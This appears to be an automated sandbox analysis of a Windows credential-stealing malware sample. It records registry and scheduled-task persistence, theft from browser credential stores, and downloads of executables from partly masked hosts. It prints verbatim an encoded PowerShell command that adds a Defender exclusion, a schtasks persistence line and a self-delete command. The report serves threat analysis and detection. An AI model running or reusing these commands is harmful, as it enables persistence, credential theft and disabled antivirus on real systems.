Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Ftevxnut' = '"%APPDATA%\Rvwvvic\Ftevxnut.exe"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Sosqkj' = '"%APPDATA%\Lewsj\Sosqkj.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\telemetry logging
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe
the following user processes:
- 5zjb6omz.exe
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
Modifies file system
Creates the following files
- %LOCALAPPDATA%low\nss3.dll
- %TEMP%\9d8584fb\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\9d8584fb\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-math-l1-1-0.dll
- %APPDATA%\foracbas\vbaxs.dat
- %TEMP%\9d8584fb\api-ms-win-crt-multibyte-l1-1-0.dll
- %APPDATA%\rvwvvic\ftevxnut.exe
- %APPDATA%\microsoft\protect\oobeldr.exe
- %TEMP%\9d8584fb\vcruntime140.dll
- %TEMP%\9d8584fb\ucrtbase.dll
- %TEMP%\9d8584fb\softokn3.dll
- %TEMP%\9d8584fb\nssdbm3.dll
- %TEMP%\9d8584fb\nss3.dll
- %TEMP%\9d8584fb\msvcp140.dll
- %TEMP%\9d8584fb\mozglue.dll
- %TEMP%\9d8584fb\freebl3.dll
- %TEMP%\9d8584fb\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-libraryloader-l1-1-0.dll
- %LOCALAPPDATA%low\xhxbilde1y1f
- %LOCALAPPDATA%low\zzbd0gtg0glh
- %LOCALAPPDATA%low\vdit02hub51q-shm
- %LOCALAPPDATA%low\vdit02hub51q
- %LOCALAPPDATA%low\k22z5p564h5l
- %LOCALAPPDATA%low\p9040o52x6fr
- %LOCALAPPDATA%low\2ei062eax6ul-shm
- %LOCALAPPDATA%low\2ei062eax6ul
- %LOCALAPPDATA%low\g28y4ek9evmj
- %LOCALAPPDATA%low\2qlyl7wh1w37
- %LOCALAPPDATA%low\le1lzns24lh9
- %LOCALAPPDATA%low\kiskwwq8qmli
- %LOCALAPPDATA%low\sqlite3.dll
- %LOCALAPPDATA%low\softokn3.dll
- %LOCALAPPDATA%low\freebl3.dll
- %LOCALAPPDATA%low\mozglue.dll
- %LOCALAPPDATA%low\vcruntime140.dll
- %LOCALAPPDATA%low\msvcp140.dll
- %LOCALAPPDATA%low\u4on9i02xwr1
- %LOCALAPPDATA%low\9d9h48lhu1yt
- %TEMP%\9d8584fb\api-ms-win-core-heap-l1-1-0.dll
- %LOCALAPPDATA%low\sr6700ju6xz6
- %TEMP%\9d8584fb\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-console-l1-1-0.dll
- %APPDATA%\e0f34xa0.exe
- %APPDATA%\997scfji.exe
- %APPDATA%\5zjb6omz.exe
- %APPDATA%\i3a3xabn.exe
- %LOCALAPPDATA%low\saz4souard79
- %LOCALAPPDATA%low\89ppi8n19qld
- %LOCALAPPDATA%low\kk4st8cea7vr
- %LOCALAPPDATA%low\est1tt6v6140
- %LOCALAPPDATA%low\3x87l7g5vz8y
- %TEMP%\9d8584fb\api-ms-win-core-interlocked-l1-1-0.dll
- %APPDATA%\lewsj\sosqkj.exe
Sets the 'hidden' attribute to the following files
- %APPDATA%\foracbas\vbaxs.dat
Deletes the following files
- %LOCALAPPDATA%low\kiskwwq8qmli
- %TEMP%\9d8584fb\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\9d8584fb\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\9d8584fb\vcruntime140.dll
- %TEMP%\9d8584fb\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\9d8584fb\ucrtbase.dll
- %TEMP%\9d8584fb\softokn3.dll
- %TEMP%\9d8584fb\nssdbm3.dll
- %TEMP%\9d8584fb\nss3.dll
- %TEMP%\9d8584fb\msvcp140.dll
- %TEMP%\9d8584fb\mozglue.dll
- %TEMP%\9d8584fb\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\9d8584fb\freebl3.dll
- %TEMP%\9d8584fb\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-namedpipe-l1-1-0.dll
- %LOCALAPPDATA%low\kk4st8cea7vr
- %LOCALAPPDATA%low\sr6700ju6xz6
- %LOCALAPPDATA%low\9d9h48lhu1yt
- %LOCALAPPDATA%low\xhxbilde1y1f
- %LOCALAPPDATA%low\u4on9i02xwr1
- %LOCALAPPDATA%low\zzbd0gtg0glh
- %LOCALAPPDATA%low\vdit02hub51q
- %LOCALAPPDATA%low\3x87l7g5vz8y
- %LOCALAPPDATA%low\vdit02hub51q-shm
- %LOCALAPPDATA%low\p9040o52x6fr
- %LOCALAPPDATA%low\2ei062eax6ul
- %LOCALAPPDATA%low\2ei062eax6ul-shm
- %LOCALAPPDATA%low\g28y4ek9evmj
- %LOCALAPPDATA%low\2qlyl7wh1w37
- %LOCALAPPDATA%low\le1lzns24lh9
- %LOCALAPPDATA%low\k22z5p564h5l
- %TEMP%\9d8584fb\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-localization-l1-2-0.dll
- %LOCALAPPDATA%low\89ppi8n19qld
- %TEMP%\9d8584fb\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\9d8584fb\api-ms-win-core-console-l1-1-0.dll
- %LOCALAPPDATA%low\sqlite3.dll
- %LOCALAPPDATA%low\nss3.dll
- %LOCALAPPDATA%low\saz4souard79
- %LOCALAPPDATA%low\est1tt6v6140
- %APPDATA%\i3a3xabn.exe
Network activity
Connects to
- '19#.#06.191.146':80
- 'it##ail.ug':80
- 'ni###uve.ac.ug':6969
TCP
HTTP GET requests
- http://19#.#06.191.146/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll
- http://19#.#06.191.146/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
- http://19#.#06.191.146/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll
- http://19#.#06.191.146/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll
- http://19#.#06.191.146/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
- http://19#.#06.191.146/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll
- http://19#.#06.191.146/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
- http://it##ail.ug/azne.exe
- http://it##ail.ug/pm.exe
- http://it##ail.ug/cc.exe
- http://it##ail.ug/rc.exe
HTTP POST requests
- http://19#.#06.191.146/
- http://it##ail.ug/index.php
UDP
- DNS ASK it##ail.ug
- DNS ASK ni###uve.ac.ug
- DNS ASK ka###ala.ac.ug
- DNS ASK tu###saa.ac.ug
- DNS ASK pa###aha.ac.ug
Miscellaneous
Creates and executes the following
- '%APPDATA%\i3a3xabn.exe'
- '%APPDATA%\5zjb6omz.exe'
- '%APPDATA%\997scfji.exe'
- '%APPDATA%\e0f34xa0.exe'
- '%APPDATA%\i3a3xabn.exe' ' (with hidden window)
- '%APPDATA%\5zjb6omz.exe' ' (with hidden window)
- '%APPDATA%\997scfji.exe' ' (with hidden window)
- '%APPDATA%\e0f34xa0.exe' ' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c <SYSTEM32>\timeout.exe 3 & del "i3A3Xabn.exe"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==
- '%WINDIR%\syswow64\schtasks.exe' /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "%APPDATA%\Microsoft\Protect\oobeldr.exe"
- '%WINDIR%\syswow64\cmd.exe' /c <SYSTEM32>\timeout.exe 3 & del "i3A3Xabn.exe"
- '%WINDIR%\syswow64\timeout.exe' 3
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==
- '%WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe'
- '<SYSTEM32>\taskeng.exe' {A6DC47F6-F582-44B9-8EB6-DF03C3B36001} S-1-5-21-1960123792-2022915161-3775307078-1001:sgcwoldvgk\user:Interactive:[1]
